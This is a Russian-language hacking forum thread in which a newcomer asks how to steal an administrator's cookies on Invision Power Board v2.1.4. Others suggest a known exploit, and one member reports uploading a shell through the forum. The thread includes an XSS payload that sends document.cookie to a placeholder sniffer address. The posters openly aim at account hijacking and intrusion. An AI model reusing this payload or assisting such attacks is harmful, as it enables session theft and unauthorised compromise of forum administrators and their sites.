Invision Power Board v2.1.4

[Новенький]

Как украсть куки у админа Invision Power Board v2.1.4 .

<script>img = new Image(); img.src = "Тут адрес сниффера?data="+document.cookie;</script> . Это всё я отправляю в личку . Но ему приходит всё в этом же виде, как быть ?

[FaR-G9]

А сплойт от Rst не работает там?

[Piflit]

Надо xss'ку искать. Хотя я сомневаюсь, что в ipb 2.1.4 она есть. Так бы любой дурак мог украсть куки у кого угодно.

[Новенький]

А сплойт от Rst не работает там?
Никогда не слышал про это, сейчас почитаю

[Новенький]

Не это не то. Может кто знает еще способы ?

[FaR-G9]

Скорее всего пофиксали
стучи в асю, может че-нить найдем

[Goudini]

Шелл залит через форум! всё

[Фещ]

а поподробнее про взлом можно? ) какую багу юзали - как заливали

[Новенький]

Большое спасибо всем кто участвовал......Отдельное спасибо Goudini - просто монстр .....- поставьте кому не лень от меня ему + ......сам пока не могу.